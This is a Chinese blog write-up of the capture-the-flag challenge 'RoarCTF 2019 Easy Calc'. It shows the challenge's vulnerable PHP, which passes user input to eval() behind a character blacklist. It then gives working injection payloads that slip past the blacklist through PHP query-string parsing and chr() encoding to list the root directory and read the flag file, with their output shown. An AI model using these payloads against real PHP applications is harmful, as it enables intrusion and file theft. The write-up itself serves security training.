buuctf [RoarCTF 2019]Easy Calc

最新推荐文章于 2025-04-17 20:38:25 发布

m0_65766842

最新推荐文章于 2025-04-17 20:38:25 发布

阅读量419

点赞数 1

文章标签： html css bootstrap

本文链接：https://blog.youkuaiyun.com/m0_65766842/article/details/130039349

版权

首先我们打开题目

<!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  <title>简单的计算器</title>
  
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="./libs/bootstrap.min.css">
  <script src="./libs/jquery-3.3.1.min.js"></script>
  <script src="./libs/bootstrap.min.js"></script>
</head>
<body>

<div class="container text-center" style="margin-top:30px;">
  <h2>表达式</h2>
  <form id="calc">
    <div class="form-group">
      <input type="text" class="form-control" id="content" placeholder="输入计算式" data-com.agilebits.onepassword.user-edited="yes">
    </div>
    <div id="result"><div class="alert alert-success">
            </div></div>
    <button type="submit" class="btn btn-primary">计算</button>
  </form>
</div>
<!--I've set up WAF to ensure security.-->
<script>
    $('#calc').submit(function(){
        $.ajax({
            url:"calc.php?num="+encodeURIComponent($("#content").val()),
            type:'GET',
            success:function(data){
                $("#result").html(`<div class="alert alert-success">
            <strong>答案:</strong>${data}
            </div>`);
            },
            error:function(){
                alert("这啥?算不来!");
            }
        })
        return false;
    })
</script>

</body></html>

我们使用new bing来解释下代码

经过代码审计之后我们知道应该访问访问calc.php文件

我们打开calc.php文件

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

可以看出原页面通过js将表达式传给calc.php，同时calc.php对传入的参数进行了一些限制后使用eval函数输出结果

参考资料：

https://blog.youkuaiyun.com/weixin_46203060/article/details/108168506?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522168100955916800213061404%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=168100955916800213061404&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-1-108168506-null-null.142^v82^insert_down1,201^v4^add_ask,239^v2^insert_chatgpt&utm_term=ctfeval%E5%87%BD%E6%95%B0&spm=1018.2226.3001.4187

我们尝试了提交非数字的字符报错，我们审计代码后，发现可能是num变量被waf过滤了

参考资料：

https://blog.youkuaiyun.com/weixin_40228200/article/details/126280639?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522168100991316800226559633%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=168100991316800226559633&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_click~default-2-126280639-null-null.142^v82^insert_down1,201^v4^add_ask,239^v2^insert_chatgpt&utm_term=waf&spm=1018.2226.3001.4187

通过查阅资料我们可知这里需要利用php的字符串解析特性

参考资料：

https://blog.youkuaiyun.com/qq_45521281/article/details/105871192?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522168101012716782427490458%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=168101012716782427490458&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-1-105871192-null-null.142^v82^insert_down1,201^v4^add_ask,239^v2^insert_chatgpt&utm_term=PHP%E7%9A%84%E5%AD%97%E7%AC%A6%E4%B8%B2%E8%A7%A3%E6%9E%90%E7%89%B9%E6%80%A7&spm=1018.2226.3001.4187

PHP会将查询字符串（在URL或正文中）转换为内部$_GET等关联数组

/?foo=bar会变成Array([foo] => "bar")

在这个过程中某些字符会被删除或用下划线代替

/?%20news[id%00=42会变成Array([news_id] => 42)

尝试扫描下这个文件下的包含文件

? num=1;var_dump(scandir(chr(47)))

得到以下结果

1array(24) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(5) "f1agg" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(3) "opt" [14]=> string(4) "proc" [15]=> string(4) "root" [16]=> string(3) "run" [17]=> string(4) "sbin" [18]=> string(3) "srv" [19]=> string(8) "start.sh" [20]=> string(3) "sys" [21]=> string(3) "tmp" [22]=> string(3) "usr" [23]=> string(3) "var" }

有一个名叫f1agg的文件，感觉像是flag文件，我们尝试打开

? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

得到flag

1string(43) "flag{78db4d11-a484-4a97-b58b-a0b1d010f7b9} "